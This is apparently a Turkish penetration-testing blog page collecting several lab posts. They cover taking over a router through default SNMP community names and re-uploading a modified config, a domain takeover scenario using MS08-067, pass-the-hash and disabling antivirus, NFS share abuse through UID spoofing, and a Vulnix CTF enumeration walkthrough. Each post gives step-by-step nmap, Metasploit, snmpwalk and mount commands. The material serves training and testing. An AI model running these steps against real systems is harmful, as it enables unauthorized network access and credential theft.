nmap etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
nmap etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

24 Eylül 2014 Çarşamba

Tehlike: Router Üzerinde Varsayılan Topluluk İsminin Bırakılması

Tehlike: Router Üzerinde Varsayılan Topluluk İsminin Bırakılması

SNMPv1 ve SNMPv2 yönetim sırasında kimlik doğrulamayı sağlamak için topluluk ismi (community name) adı verilen bir kimlik doğrulayıcı/şifre kullanır, herhangi bir kullanıcı adı gibi bir kimlik doğrulayıcı kullanılmaz. SNMPv3 ise şifreleme ve mesaj bütünlüğü sağlayarak kimlik doğrulamayı daha güvenilir hale getirmiştir. SNMPv3 ile kimlik doğrulama sırasında kullanıcı adı ve şifre birlikte kullanılarak daha güvenilir bir yapı sunar. Ancak SNMPv3 kullanımı henüz yaygınlaşmamış, SNMPv1 ve özellikle SNMPv2 daha sık kullanılmaktadır. Bu yazıda da eski sürüm SNMP ile kimlik doğrulaması sırasında varsayılan topluluk ismi verilmiş bir Router konfigürasyonu değiştirilecektir.

Önceki bir yazıda GNS3 kullanarak Router konfigürasyonun basit olarak nasıl gerçekleştirilebildiği konusuna değinilmiş ve ayrıca ağ sızma testleri için basit bir lab ortamı hazırlanmıştı. Bu yazıda önceki yazıya benzer bir ortam için ağ sızma testi gerçekleştirilecektir. Yazı 5 adımdan oluşacaktır.
1) Mevcut ortamın incelenecek ve hedef ağa erişimin sağlanamadığı görülecektir.
2) Router keşfedilecektir.
3) Keşfedilen Router üzerinde kullanılan topluluk isimleri belirlenecek ve bu topluluk isimlerine ait erişimler tespit edilecektir.
4) Yazma ve Okuma erişim yetkisi olan topluluk ismi ile Router konfigürasyonu çekilecektir.
5) Elde edilen Router konfigürasyon bilgisi güncellenerek Router'a geri yüklenecektir.

1) Mevcut Durum

Ortamımızda 4 adet bilgisayar bulunmaktadır:

Topoloji temel olarak aşağıdaki gibidir:

  • Saldırgana ait Windows 7 makinesinin IP değeri 192.168.0.10, Kali makinesinin IP değeri ise 192.168.0.11 olarak belirlenmiştir.
  • Kurbana ait Windows 7 makinesinin IP değeri 10.0.0.10 olarak belirlenmiştir.
  • Ubuntu üzerinde kurulu olan Router'ın saldırgan makinelerinin bulunduğu ağa bakan bacağının IP değeri 192.168.0.200, kurban makinesinin bulunduğu ağa bakan bacağının IP değeri 10.0.0.200 olarak belirlenmiştir.

2) Router Keşfi

Router gibi aktif cihazlar birbirleriyle haberleşirken SNMP (Simple Network Management Protocol) kullanırlar. Bu protokol haberleşmesi sırasında UDP'yi kullanır. Router üzerindeki SNMP ajanı da UDP 161 portunu dinler ve gelen taleplere cevap verirler. Ayrıca gelen kesme (SNMP trap) bilgilerini alabilmek için de UDP 162 portunu dinler.

Router keşfi için UDP 161 portu açık olan bilgisayar tespit edilecektir. Bu amaçla Kali üzerindeki nmap aracı kullanılabilir. Port tarama sonucunda 192.168.0.200 IP numaralı makinenin UDP 161. portunun açık olduğu görülmektedir.
nmap 192.168.0.0/24 -sU -p161 --open -Pn -n

3) Topluluk İsimlerinin ve Bu Topluluk İsimlerine Ait Erişimlerin Keşfedilmesi

Bu yazıda kullanılacak Router üzerindeki topluluk isimleri varsaylan olarak okuma işlemleri için Public, okuma ve yazla işlemleri için ise Private olarak belirlenmiştir. Bu değerlerin değiştirilmesi tavsiye edilmesi bir çok durumda değiştirilmemekte veya oldukça karmaşık verilmemektedir. Bu sebeple,  Ruoter'ların konfigürasyon dosyalarına kolay bir şekilde erişim sağlanabilmektedir.

Bu başlıkta topluluk isimlerinin ve erişimlerinin belirlenmesi için 5 yöntem kullanılacaktır.
i) Nmap "snmp-brute" betiği ile topluluk isimleri keşfedilecektir.
ii) MSF "snmp_login" modülü ile topluluk isimleri keşfedilecek ve keşfedilen topluluk isimlerine ait erişim hakları belirlenecektir.
iii) MSF "snmp_enum" modülü ile daha önceden bilinen topluluk isimlerinin okuma izninin olup olmadığı belirlenecektir.
iv) Kali'deki "snmpcheck" aracı ile daha önceden bilinen topluluk isimlerinin okuma ve yazma izninin olup olmadığı belirlenecektir.
v) Kali'deki "snmpwalk" aracı ile daha önceden bilinen topluluk isimlerinin okuma izninin, "snmpset" aracıyla ise yazma izninin olup olmadığı belirlenecektir.

i) Nmap "snmp-brute" betiği
Nmap ile versiyon taraması ve SNMP topluluk ismi için NSE betiği kullanıldığında topluluk isimlerinin varsayılan (Public ve Private) olarak bırakıldığı görülmüştür.
nmap 192.168.0.200 -sU -p161 --open -Pn -n --script=snmp-brute

Eğer bir sözlük oluşturulmuşsa bu sözlük de betiğe argüman olarak verilebilir:
nmap 192.168.0.200 -sU -p161 --open -Pn -n --script=snmp-brute --script-args snmp-brute.communitiesdb=/root/Desktop/ToplulukIsımleri.txt

ii) MSF "snmp_login" modülü
Topluluk isimlerinin keşfi ve erişim yetkilerinin belirlenmesi için MSF modülleri de kullanılabilir. MSF üzerindeki SNMP ile ilgili bilgi toplama modülleri aşağıdaki gibidir:

Bu modüllerden "snmp_login" modülü ile topluluk ismi keşfedilebilir ve bu topluluk isimlerinin erişim yetkisi belirlenebilmektedir. "snmp_login" modülü ilgili seçenekler şu şekildedir:

PASS_FILE seçeneğinde belirtilen sözlükteki tüm topluluk isimleri denendiğinde 2 adet topluluk isminin (Public ve Private) Router üzerinde kullanıldığı tespit edilmiştir. Ayrıca bu topluluk isimlerinin erişim düzeyleri de Public için  sadece Okuma, Private için ise Okuma ve Yazma olduğu görülmektedir.


iii) MSF "snmp_enum" modülü
MSF'e ait bir diğer snmp ile ilgili modül ise "snmp_enum" modülüdür. Bu modül ile, SNMP desteği olan ve topluluk ismi keşfedilen bir araca ait donanım, yazılım, ağ gibi bilgileri elde edilir. Kısacası, örnek Router için enumeration işlemi gerçekleştirilebilir. MSF "snmp_enum" modülünün kullanımı aşağıdaki gibidir:

Elde edilen bilgilerin devamı şu şekildedir:

Diğer bilgiler ise aşağıdaki gibidir:

Not: MSF "snmp_enum" modülüne topluluk ismi olarak "Private" verildiği durumda da aynı sonuçlar dönmektedir.

iv) Kali'deki "snmpcheck" aracı
Topluluk isimlerinin erişimlerinin belirlenmesi için MSF modülleri yerine Kali üzerindeki "snmpcheck" aracı da kullanılabilmektedir.

"Public" topluluk ismi ile Router'a ait SMNP bilgileri elde edilebildiği görülmektedir:

Benzer olarak "Private" topluluk ismi için de bu bilgiler elde edilebilmektedir:

Yazma erişimlerinin kontrolü için "-w" parametresi kullanıldığında ise, "Public" topluluk isminin yazma erişim izni yokken, "Private" topluluk ismi için ise yazma erişim izninin bulunduğu görülmektedir.

v) Kali'deki  "snmpwalk" ve "snmpset" araçları
Kali üzerindeki "snmpwalk" aracıyla SNMP veritabanındaki tüm bilgiler, "snmpcheck" aracına benzer olarak, elde edilebilir. Bu araç ile ilgili ayrıntlı bilgi için "-h" seçeneği eklenir:

Not: "snmpwalk" ile gerçekleştirilen benzer işlemler, "snmpbulkwalk" aracı ile de gerçekleştirilebilir. "snmpbulkwalk" aracı SNMPv1 için çalışmamakla birlikle, SNMPv2 üzerinde oldukça hızlı çalışmaktadır.

Router hakkındaki tüm değişkenler "Public" topluluk ismi ile elde edilebilmiştir:
snmpwalk -v2c -c public 192.168.0.200

Tüm MIB değerleri bu şekilde listelenmektedir:

MIB kavramı için bakınız: http://www.agciyiz.net/index.php/servis-ve-uygulamalar/snmp-nedir/

Benzer şekilde "Private" topluluk ismi ile de aynı bilgiler elde edilebilmektedir.

Tek bir değeri sorgulamak için ise ilgili OID değeri belirtilmelidir.

Böylece, "Public" ve "Private" topluluk isimlerinin okuma izinlerinin olduğu "snmpwalk" aracı ile görülmüştür. Bu topluluk isimlerinin yazma izinlerinin olup olmadığının kontrolü için "snmpset" aracı kullanılır.

4) Router Konfigürasyonuna Erişimin Sağlanması

Önceki başlık altında "Public" topluluk ismi için okuma, "Private" topluluk ismi için ise Okuma/Yazma erişim izinlerinin olduğu görülmüştür. Bu başlıkta ise, Router üzerindeki konfigürasyon bilgileri çekilecektir. Bu işlem 2 farklı yöntem ile gerçekleştirilebilmektedir:
i) Cain & Abel aracı kullanılarak Router konfigürasyon bilgileri elde edilebilir.
ii) MSF "cisco_config_tftp" modülü kullanılarak Router konfigürasyon bilgileri elde edilebilir.

i) Cain & Abel aracı
Cain & Abel aracında CCDU sekmesinde "+" butonuna basıldığında "Cisco Config Downloader" penceresi açılmaktadır. Bu pencerede Router IP bilgisi ve okuma/yazma hakkı olan topluluk ismi verilebilmektedir.

Not: SNMP, UDP üzerinden çalıştığı için konfigürasyon dosyası hemen gelmeyebilir, hata mesajı alınabilir. Bu durumda, işlemi bir kaç kere tekrar etmek gerekebilir.

Böylece konfigürasyon bilgisi elde edilebilmektedir.

Konfigürasyon dosyası varsayılan olarak "C:\Program Files (x86)\Cain\CCDU" dizini altına saklanmaktadır. Bu dosya içeriği aşağıdaki gibidir:

Dosya içeriği özetle aşağıdaki gibidir:
no service password-encryption
!
hostname Router
!
enable password en
!
username cisco privilege 0 password 0 cisco123
username root privilege 15 password 7 0236054818115F33480f
!
interface Ethernet0/0
ip address 192.168.0.200 255.255.255.0
ip access-group 150 in
half-duplex
!
interface Ethernet0/1
ip address 10.0.0.200 255.255.255.0
half-duplex
!
interface Ethernet0/2
no ip address
shutdown
half-duplex
!
interface Ethernet0/3
no ip address
shutdown
half-duplex
!
ip http server
no ip http secure-server
!
access-list 150 deny   ip 192.168.0.0 0.0.0.255 10.0.0.0 0.0.0.255
access-list 150 permit ip any any
snmp-server community private RW
snmp-server community public RO
snmp-server contact HASH(0x90b3d28)
!
line con 0
line aux 0
line vty 0 4
privilege level 15
login local
transport input telnet
!
end

ii) MSF "cisco_config_tftp" modülü
MSF "cisco_config_tftp" modülü kullanılarak da Router konfigürasyon bilgisi elde edilebilir. Modül seçenekleri aşağıdaki gibidir:

Modül seçenekleri ayarlandığında konfigürasyon dosyası çekilebilmektedir.

Konfigürasyon dosyasının içeriği aşağıdaki gibidir:

5) Router Konfigürasyonunun Değiştirilmesi

Konfigürasyon bilgisi elde edildikten sonra Router üzerinde herhangi bir değişiklik yapılabilir. Böylece Router için bir yeni bir kullanıcı oluşturulabilir, bir bağlantı (SSH, Telnet, HTTP gibi) açılabilir veya kurallarda değişiklik yapılarak normalde erişim sağlanamayan bir ağa erişim sağlanabilir. Bu yazı için örnek olarak yazma ve okuma izni olan yeni bir topluluk ismi eklenecektir. Normalde "Public" ve "Private" olmak üzere 2 adet topluluk ismi bulunmaktaydı. Nmap betiği ile sözlük saldırısı gerçekleştirildiğinde sadece "Public" topluluk ismi tespit edilmekteydi. Çünkü sözlükte "Public", "Test" ve "Monitor" anahtar kelimeleri bulunmaktaydı:

Yapılacak konfigürasyon değişikliği ile "Test" adlı topluluk ismi konfigürasyon dosyasına eklenecektir. Gerçekleştirilecek konfigürasyon bilgisi değişikliği temel olarak 3 yol ile olabilir:
i) Cain & Abel aracı ile değiştirilebilir.
ii) MSF "cisco_upload_file" modülü ile değiştirilebilir.
iii) Router komut satırına erişim (Telnet, SSH vs) sağlandıktan sonra değiştirilebilir. 

i) Cain & Abel aracı
Router konfigürasyonunun değişikliği için Cain & Abel aracı kullanılabilir. Önceki adımda elde edilen konfigürasyon bilgisi aşağıdaki gibidir:

Bu dosyaya bir topluluk ismi eklenerek kaydedilmiştir:

Sonrasında da hedef Router'a yüklenecektir. Bu amaçla, Cain & Abel üzerinde değiştirilmiş olan konfigürasyon dosyası seçilerek Upload işlemi gerçekleştirilir.

Not: Bu işlem sorasında "No response from SNMP service" gibi bir hata mesajı ile karşılaşılabbilmektedir. UDP protokolü gereği cevap alınamadığı durumda bu hata mesajı gelebilmektedir. Bir kaç deneme sonrasında işlem başarılı bir şekilde gerçekleşmektedir.

Konfigürasyon değişikliği sonrasında yeni topluluk isminin elde edilebildiği görülmektedir:

ii) MSF "cisco_upload_file" modülü ile
Önceki adımlarda Kali'deki /root/Desktop dizinine konfigürasyon dosyası kaydedilmişti. Bu dosya aşağıdaki gibidir:

Bu dosyaya da benzer şekilde bir topluluk ismi eklenerek kaydedilmiştir:

Sonrasında hedef Router'a yüklenecektir. Bu işlem için MSF üzerindeki "cisco_upload_file" modülü kullanılacaktır. Bu modül ile ilgili seçenekler aşağıdaki gibidir:

Seçenekler ayarlanıp modül çalıştırıldığında yükleme işlemi gerçekleşecektir.

iii) Konsol erişimi ile
Router konsoluna erişim için kullanıcı erişim bilgileri gerekmektedir. Erişim bilgilerinin elde edilmesi için çeşitli yöntemler bulunmaktadır. Bu yöntemler başka bir yazıda incelenecektir.


Kaynak:
[1] https://www.bilgiguvenligi.gov.tr/ag-guvenligi/snmp-guvenligi.html
[2] http://ekaragol.blogspot.com.tr/2014/04/aktif-cihazdan-konfigurasyon-dosyasnn.html
[3] https://www.m00nie.com/type-7-password-tool/
[4] https://community.rapid7.com/community/metasploit/blog/2010/12/17/cisco-ios-penetration-testing-with-metasploit
[5] http://www.offensive-security.com/metasploit-unleashed/SNMP_Sweeping
[6] http://carnal0wnage.attackresearch.com/2011/03/new-snmp-metasploit-modules.html
[7] https://community.rapid7.com/community/infosec/blog/2013/03/07/video-tutorial-introduction-to-pen-testing-simple-network-management-protocol-snmp

3 Haziran 2014 Salı

Etki Alanı Sızma Testi İçin Eğitim Amaçlı Örnek Senaryo

Etki Alanı Sızma Testi İçin Örnek Senaryo

Önceki yazıda etki alanı sızma testinin nasıl gerçekleştirildiğine dair örnek bir metodoloji sunulmuştu. Bu yazıda EĞİTİM AMAÇLI örnek bir senaryo gerçekleştirilecektir.


Ortam Bilgisi

Hazırlanan senaryoda 6 bilgisayar kullanılmaktadır:
1) XP: Standalone bir bilgisayardır. C diskinde kritik bilgi (SAM/SYSTEM dosyaları) bulunacaktır.
2) W7: Etki alanına dahil olan istemci bilgisayardır.
3) W7-Test: Etki alanına dahil edilecek olan istemci bilgisayardır. Etki alanında "Domain Admins" grubuna üye olan kullanıcının standart hesabı ile oturum açılacaktır. Üzerinde antivirüs yüklüdür. Üzerinde yüklü olan Winscp içerisinde bir de UN/PW kayıtlı bulunmaktadır. Ayrıca DC bilgisayarına RDP ile bağlantı kurulmuştur.
4) DC: Etki alanı denetleyicisidir.
5) S_Kali: Saldırı amacıyla kullanılacak KALI bilgisayardır.
6) S_W7: Saldırı amacıyla kullanılacak W7 bilgisayardır. 


Senaryo Videosu

Senaryo ile ilgili video aşağıdaki gibidir:



Videoyu indirmek için tıklayınız.

Senaryo Adımları

Senaryo 7 adımdan oluşmaktadır:
1) XP bilgisayara sızılacak ve kritik bir bilgi (C:\SAM ve C:\SYSTEM) edinilecektir.
2) 1. adımda elde edilen kritik bilgi ile etki alanına dahil olan W7 bilgisayarına erişim sağlanacaktır. Bu bilgisayardan yerel kullanıcıların parola özetleri elde edilecektir.
3) 2. adımda elde edilen yerel kullanıcıların parola özetleri ile W7-Test bilgisayarına (AV'e yakalanmadan) sızılacaktır.
4) W7-Test bilgisayarındaki mevcut kullanıcı oturumuna erişim sağlanacak. Bu bilgisayarda DC makineye yapılan RDP'ye fark edilecek. Oturum açan (Sizma\Cemil Ustun) ve Domain Admins grubundaki bir kullanıcının ("Sizma\Cemil.ustun2") parolası elde edilecek.
5) W7-Test bilgisayarına "Sizma\Cemil Ustun" adlı kullanıcı haklarıyla RDP yapılacaktır. W7-Test bilgisayarındaki AV devre dışı bırakılacaktır.
6) W7-Test bilgisayarına MSF psexec ile bağlanılacak ve Winscp ile kayıtlı bağlantı bilgileri elde edilecektir.
7) Etki alanındaki kullanıcıların parola özetleri elde edilecektir.

Senaryo Adımlarına Yönelik Resimler:


0) Ağ Keşfi ve Zafiyet Taramasi 


1) Zafiyetin Sömürülmesi: MS08-067


1-2 Geçişi) SMB Oturum Sorgulaması

2) W7 Bilgisayarına PTH ile Erişim


3) WCE ile PTH & RDP Etkinleştirme


4) Parola Çalma & Domain Admin Olma


5) AV Kapatma


6) WinSCP’de Kayıtlı Parolalarını Elde Etme


7) Domain Hesaplarının Parola Özetleri


7 Şubat 2014 Cuma

Etki Alanı ve Son Kullanıcıları Sızma Testi Metodolojisi

Etki Alanı ve Son Kullanıcıları Sızma Testi Metodolojisi

Microsoft domainin kullanıldığı sistemlerde yerel yönetici hesaplarına çok fazla ihtiyaç olmamakla birlikte, gerek sistem destek elemanları tarafından olsun, gerekse yerel yönetici haklarına ihtiyaç duyan yazılım geliştiriciler veya benzeri kullanıcılar tarafından olsun, bu hesaplar hâlâ kullanılabilmektir. Yerel yönetici hesapları ile çalışan bir kullanıcının hakları ile bir makineye sızıldığı takdirde, bu makinede normal kullanıcılar tarafından mümkün olmayan birçok saldırı gerçekleştirilebilmektedir. Örneğin; makinedeki şifre özetlerinin alınabilir veya o makinede oturumu halen aktif olan hesapların hakları kullanılabilir. Bu sebeple bir bilgisayarda yerel yönetici haklarının ele geçirilmesi sızma testi için oldukça önemlidir.

Kurumlarda yönetim kolaylığı için veya varsayılan ayar olarak kaldığı için birçok yerel yönetici hesabının ismi ve şifresi diğer birçok kullanıcı bilgisayarında da aynı olabilmektedir. Sonuç olarak bir makineden ele geçirilen yerel yönetici şifre özetleri, aynı şifreyi kullanan diğer bütün makineleri ele geçirmek amacıyla kullanılabilmektedir. Bu sebeple aynı parola özetlerinin kullanılması sızma testi için oldukça önemlidir.

Etki alanı ve son kullanıcıları bilgisayarları sızma testlerindeki hedef - aynı şifreyi kullanan diğer bütün bilgisayarları ele geçirmekten ziyade - domain admin kullanıcısının şifresini/biletini elde etmek ve/veya domain controller makinesine yetkili kullanıcı ile erişebilmektir. Domain yöneticisi hesapları, domaine dâhil makinelerde yüksek yetkilere sahip olmalarından dolayı kritik hesaplardır. Herhangi bir şekilde ele geçirilen bir domain yöneticisi hesabının sahip olduğu hakları kullanılarak domaine dâhil bütün sunuculara ve kullanıcı makinelerine erişilebilir. Bu erişim sonucunda bütün domain kullanıcılarının parolaları veya parola özetleri alınabileceği gibi,  ele geçirilen makinelerde; kritik bilgi içeren dosyaların incelenmesi, iletişim hattının kaydedilmesi, “key logger” çalıştırma gibi saldırılar da mümkündür. Bu saldırıların sonucunda daha kritik olan gizli bilgilere erişilebilmesi an meselesidir.

Etki alanı ve son kullanıcıları sızma testinin metodolojisi temel olarak aşağıdaki gibidir:


Etki alanı ve son kullanıcıları bilgisayarları sızma testi için akış şeması

Akış şemasının özetle şu şekildedir:

0-1-2-3) Bir makinedeki açıklıktan faydalanarak, o makinenin yerel yöneticiye ait hesap bilgileri ele geçirilir. Bu hesap bilgileri kullanıcı adı ve o kullanıcıya ait şifre ve/veya şifrenin özetidir.
4-7-8) Bu makineden domain hakkında bilgi edinilir. Bu makinedeki yerel kullanıcının hesap bilgileri ile domaindeki diğer makinelere sızılır.
5-6) Sızılan makinelerde domain yöneticisi veya domain üzerinde yetkili kullanıcıya ait şifre, şifre özeti veya bilet aranır.

Bu adımların nasıl gerçekleştirildiği hakkında ayrıntılı bilgi aşağıdaki sayfalar izlenerek edinilebilir:
0 - Makineye Fiziksel Olarak Erişerek CD/USB'den Boot Edilmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2012/12/ipucu-makineye-fiziksel-olarak-eriserek.html
1 - Zafiyet Taramasının Gerçekleştirilmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2012/12/ipucu-zafiyet-taramasnn.html 
2 - Zafiyetin Kullanılarak Bir Bilgisayara Sızılması
http://ertugrulbasaranoglu.blogspot.com.tr/2013/08/ipucu-zafiyetin-kullanlarak-bir.html 
3 - Yerel Yöneticilere Ait Şifre Özetlerinin Ele Geçirilmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2013/09/ipucu-yerel-yoneticilere-ait-sifre.html 
4 - Hedef Makineden Sistem ve Domain Hakkında Bilgi Edinme
http://ertugrulbasaranoglu.blogspot.com.tr/2012/12/ipucu-ms08-067-zafiyetinin-kullanlmas.html
7 - smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-smblogin-modulu-ile-yaylabilecek.html
8 - psexec Modülü ile Yeni Makinelerde Oturumun Açması
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-psexec-modulu-ile-yeni.html
5 - Yüksek Yetkili Kullanıcı Haklarının İncelenmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-yuksek-yetkili-kullanc-haklarnn.html
6 - Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-domainde-yetkili-kullancnn.html
Her bir sayfada gerçekleştirilen adımın amacı, yöntemi ve bu saldırı adımından korunulması için gerçekleştirilmesi gerekilen önlemler belirtilmiştir.Etki alanı ve son kullanıcılarına karşı gerçekleştirilen saldırılardan ve sızma testinden korunmak için alınması gerekilen önlemler için bakınız.

Etki alanı sızma testi ile ilgili örnek bir senaryo için tıklayınız.

21 Aralık 2013 Cumartesi

İpucu: NFS Paylaşımının İstismarı

NFS Paylaşımının İstismarı

NFS (Network File System) UNIX/Linux işletim sistemlerinin doğal, kararlı ve güçlü bir dosya paylaşım sistemidir. Gerekli yapılandırma dosyası /etc/exports olup güvenlik özellikleri göz ardı edildiğinde istismar edilebilecek bir zafiyete neden olabilir. Bu yazıda NFS paylaşımı üzerinden sistem üzerinde yetki elde etmeye yönelik bir yöntemden bahsedilecektir.

Varsayılan olarak 2049/tcp üzerinden çalışan NFS servisinin tespiti nmap vb. araçlarla gerçekleştirildikten sonra servisin açık olduğu belirlenen varlık üzerindeki paylaşımların tespiti için farklı araçlar kullanılabilir.

Geleneksel Linux sistemlerdeki showmount komutu ile paylaşım tespiti:
# showmount -e 10.0.0.5
Nmap aracı ile paylaşım tespiti:
# nmap -n -PN -sS -T5 -p 2049 --script=nfs-showmount 10.0.0.0/24
Metasploit ile paylaşım tespiti:
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set RHOSTS 10.0.0.0/24
msf auxiliary(nfsmount) > run
Tespit edilen paylaşımların yerel sisteme bağlanması  şu şekilde gerçekleşir.
# mount -t nfs 10.0.05:/paylasim_adi /baglama_dizini
Daha öncede belirtildiği üzere /etc/exports içerisindeki
/       *(rw)
şeklindeki bir yapılandırma ile bütün sistem herhangi bir erişim izni olmaksızın ağdaki herkesin yerel sistemine okuma/yazma hakkı ile bağlanabilir duruma gelebilmektedir. Ve bu sızma testlerinde büyük ölçekli kurumsal yapılarda dahi karşılaşılabilen bir durumdur. Böyle bir durumda Linux sistemler için gerçekleştirilebilecek post-exploitation adımları uygulanabilir.
Bir diğer durumda bağlanan sistemin farklı UID değerli kullanıcıya ait olması nedeniyle dosyaların açılamaması durumudur. Öncelikle showmount komutu ile /export/home dizininin paylaşıldığı bir ortamda saldırgan sistem üzerinde öncelikle aşağıdaki komut ile hedef dizine yerele bağlanır.
#mount -t nfs 192.168.0.1:/export/home /baglama_dizini
Hedef dizini bu şekilde yerel sisteme bağlandıktan sonra ls -al komutunun çıktısı sonucunda bağlanan dosyaların yerel sistemde mevcut olmayan UID değerine sahip bir kullanıcıya ait olduğu görülebilir
-rwxr----- 2626 1000 1898 parolalar_doc
DAC mantığı ile çalışan geleneksel sistemler bu dosyanın açılmasına izin vermeyeceği için şu şekilde bir yöntem izlenebilir. Öncelikle dizin bağı çözülür:
# umount /baglama_dizini
Örnek bir kullanıcı oluşturulup UID değeri paylaşımındaki değer olacak şekilde ayarlanır.
# useradd raptiye
# usermod -u 2626 raptiye
Yeni kullanıcının ortamına geçiş yapılır:
# su raptiye
Bu noktadan sonra paylaşım tekrar yerele bağlandığında aynı UID'li kullanıcıya sahip olunduğu için bağlanan dosyalar sorunsuz şekilde açılacaktır.

Kaynak:
http://www.agguvenligi.net/2013/01/nfs-istismari.html

18 Aralık 2013 Çarşamba

İpucu: Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.

Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.

Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.

Burada üzerinde çalışılacak Vulnix dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj bağlantıdan temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç /root dizini altında bulunan trophy dosyasının içeriğine erişmektedir.
Mimari: x86
Biçim: VMware (vmx & vmdk)
RAM: 512MB
Network: NAT
Boyutu: 194MB – 7zip
Çıkarılmış hali: 820MB
Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına bağlantıdan erişebilirsiniz.

Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde File>Open sonrası çıkan menüde Vulnix.vmx dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.

Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir.


Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde Edit>Virtual Network Editor bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.


Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.

1. Keşif ve IP/Port Tarama

Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.
root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24
Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.


2. Servisler Üzerinden Bilgi Toplama

a. SMTP

SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.
root@agguvenligi:~# telnet hedef_ip_adresi 25
vrfy geçerli_kullanıcı_adı
vrfy geçersiz_kullanıcı_adı
Örnek bir tarama sonucu aşağıdaki gibidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):

Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki auxiliary/scanner/smtp/smtp_enum modülü kullanılabilir.
msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101
msf auxiliary(smtp_enum) > run


Manuel olarak yapılan örnekte user ve vulnix kullanıcılarının sistem üzerinde olduğu görülmektedir.


b. FINGER

Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde
root@agguvenligi:~# finger -l -p vulnix@192.168.1.101
komutu çalıştırılır. Eğer finger paketi sistemde yüklü değilse aşağıdaki gibi bir hata alınır. Bu durumda, (ağ adaptörü internete çıkacak şekilde ayarlandıktan sonra) finger paketi yüklenmelidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):


Böylece, Finger komutu çalıştırılarak vulnix kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.

Not: SMTP servisindeki zafiyet sebebiyle elde edilen kullanıcı isimleri (root, backup, bin ve daemon) denendiğinde aynı sonuçlar elde edilmektedir.

Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.
root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done


Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan auxiliary/scanner/finger/finger_users modülü kullanılabilir. Kullanımı şu şekildedir:
msf> use auxiliary/scanner/finger/finger_users
msf auxiliary(finger_users) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
